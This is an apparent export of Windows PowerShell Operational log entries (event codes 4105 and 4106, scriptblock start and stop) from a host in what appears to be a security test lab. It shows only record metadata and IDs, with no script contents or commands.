09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032348
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032347
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032346
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032345
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032344
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032343
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032342
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032341
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032340
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032339
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032338
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032337
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032336
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032335
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032334
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032333
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032332
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032331
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032330
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032329
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032328
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032327
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032326
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032325
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032324
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032323
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032322
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032321
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032320
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032319
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032318
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032317
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032316
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032315
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032314
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032313
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032312
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032311
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2032298
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032297
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2032296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
